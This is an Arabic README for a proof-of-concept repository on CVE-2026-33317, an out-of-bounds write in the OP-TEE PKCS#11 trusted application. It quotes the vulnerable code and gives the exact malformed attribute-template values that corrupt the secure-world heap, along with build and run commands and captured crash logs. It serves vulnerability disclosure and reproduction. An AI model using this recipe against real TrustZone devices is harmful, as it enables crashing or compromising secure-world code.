
إثبات المفهوم لـ CVE-2026-33317، وهو كتابة خارج الحدود في OP-TEE PKCS#11 TA، يوضح تلف كومة الذاكرة في العالم الآمن عبر قالب سمات غير صالح.
يحتوي هذا المستودع على إثبات المفهوم الخاص بالعالم العادي (Normal World)، وملاحظات إعادة الإنتاج، وسجلات ملتقطة لـ CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
يصف النشرة الأمنية الرسمية لـ OP-TEE التحقق المفقود في
entry_get_attribute_value() لـ PKCS11_CMD_GET_ATTRIBUTE_VALUE. يمكن أن تسبب هذه الثغرة قراءات خارج الحدود من كومة PKCS#11 TA، ومع قالب سمات مشوّه، كتابات تتجاوز المخزن المؤقت المؤقت للقالب. يستهدف إثبات المفهوم هذا حالة الكتابة خارج الحدود ويوضح تلف كومة العالم الآمن (Secure World) في PKCS#11 TA.
CVE-2026-33317>= 3.13.04.11 وما بعده8.7 عاليةCWE-125, CWE-787استخدم هذا فقط في مختبر محلي أو بيئة أخرى حيث لديك إذن لاختبار OP-TEE.
كانت النسخة المحلية العاملة التي أُعدّ منها هذا README مساحة عمل OP-TEE QEMUv8 مسطّحة. تمت إزالة دليل .repo وجميع ملفات/أدلة بيانات .git الوصفية، بحيث لم يعد الأرشيف المحلي قابلاً للاستخدام مع repo sync أو أوامر سجل git العادية.
يستبعد مستودع GitHub عمداً أشجار المصدر الضخمة لـ OP-TEE/QEMU، وسلاسل الأدوات، ومخرجات البناء. أعد إنشاءها من qemu-v8-setup.md، أو انسخ ملفات إثبات المفهوم إلى جذر بناء qemu_v8 الموجود لـ OP-TEE، قبل تشغيل إعادة إنتاج QEMU الآلية من استنساخ جديد.
ملفات المستوى الأعلى المهمة:
كان الأرشيف المحلي المُعدّ يحتوي أيضاً على أدلة المصدر/البناء مثل optee_os، وoptee_client، وqemu، وlinux، وtrusted-firmware-a، وu-boot، وbuildroot، وout-br، وtoolchains؛ هذه الأدلة مُتجاهلة للنشر.
في شجرة optee_os المعرضة للخطر، يتكرر ta/pkcs11/src/object.c عبر قالب سمات متسلسل مقدَّم من العميل:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
لا تُثبت الحلقة أن كل رأس سمة ومنطقة بياناتها موجودان بالكامل داخل القالب المخصص. يرسل إثبات المفهوم:
attrs_size = 8، رأس pkcs11_attribute_head واحد بالضبط ولا توجد بايتات بيانات.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16، مطابقاً لتسمية الكائن المُنشأ البالغة 16 بايت.يُنشئ ذلك تخصيص قالب بحجم 16 بايت:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
ثم يشير cli_ref->data إلى template + 16، أي بايت واحد بالضبط بعد نهاية التخصيص. ترى get_attribute() في ta/pkcs11/src/attributes.c أن الحجم المقدم من المتصل كبير بما يكفي وتنسخ التسمية ذات الـ 16 بايت إلى ذلك المؤشر خارج الحدود، مما يُتلف كومة PKCS#11 TA.
المتطلبات الأساسية المستخدمة بواسطة مساحة عمل QEMUv8 المُعدّة:
expectqemu_v8 مع مخرجات البناء، وسلاسل الأدوات، وثنائي QEMU مرتبة مثل الأرشيف المحلي الموصوف في qemu-v8-setup.mdبناء إثبات المفهوم:
./build_poc.sh
نتيجة البناء المتوقعة:
Built: out/bin/c01_poc
تشغيل إعادة إنتاج QEMUv8 الآلية:
./run_c01.sh
يتحقق الغلاف من هذه الملفات المرحلية قبل التشغيل:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocإذا كانت نواتج البناء مفقودة، أعد إنشاء/بناء مساحة عمل OP-TEE أولاً ثم أعد تشغيل ./build_poc.sh.
يجب أن يُظهر سجل العالم العادي الطلب المصمم:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
يجب أن يحتوي سجل العالم الآمن على تأكيد المُخصِّص وانهيار TA:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
السجلات الملتقطة من تشغيل ناجح موجودة بالفعل في:
out/bin/c01_nw.logout/bin/c01_sw.logيستدعي c01_poc.c UUID الخاص بـ PKCS#11 TA وهو
fd02c9da-306c-48c7-a49c-bbd827ae86ee عبر libteec:
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE مشوّه مع attrs_size = 8 وcli_head.size = 16.الطلب الخبيث الأول كافٍ لإتلاف بيانات الكومة الوصفية. ثم ينهار TA عندما يكتشف مُخصِّص bget الخاص بـ OP-TEE بيانات الكتلة التالفة.
run_c01.sh دليل out/bin في الضيف عبر virtio-9p ويكتب السجلات مرة أخرى إلى نفس الدليل.out/bin إلى النواتج داخل ذلك الأرشيف. يتتبع مستودع GitHub المنشور فقط ملفات out/bin/c01_*.log الملتقطة.C-01-reproduction.md نهج أداة ASAN السابق على x86. إثبات المفهوم القابل للتشغيل في هذا المجلد هو PoC QEMUv8 TEEC: c01_poc.c.| المسار | الغرض |
|---|
c01_poc.c | إثبات مفهوم العالم العادي AArch64 باستخدام استدعاءات libteec الخام |
build_poc.sh | يترجم c01_poc.c بشكل متقاطع إلى out/bin/c01_poc |
run_c01.sh | يشغّل QEMUv8 وينفذ إثبات المفهوم عبر expect |
c01_check.exp | يؤتمت تسجيل دخول الضيف، وتركيب virtio-9p، وتنفيذ إثبات المفهوم |
out/bin/c01_nw.log | سجل إعادة إنتاج العالم العادي الملتقط |
out/bin/c01_sw.log | سجل العالم الآمن الملتقط مع انهيار PKCS#11 TA |
reproduction-log.md | ملاحظات إعادة إنتاج QEMUv8 الكاملة |
qemu-v8-setup.md | ملاحظات إعداد OP-TEE QEMUv8 والتحقق الأساسي |
C-01-reproduction.md | ملاحظات أداة ASAN السابقة؛ ليست إثبات المفهوم الرئيسي القابل للتشغيل في هذا المجلد |
AGENTS.md | ملاحظات صيانة لوكلاء الذكاء الاصطناعي/البرمجيات المستقبليين |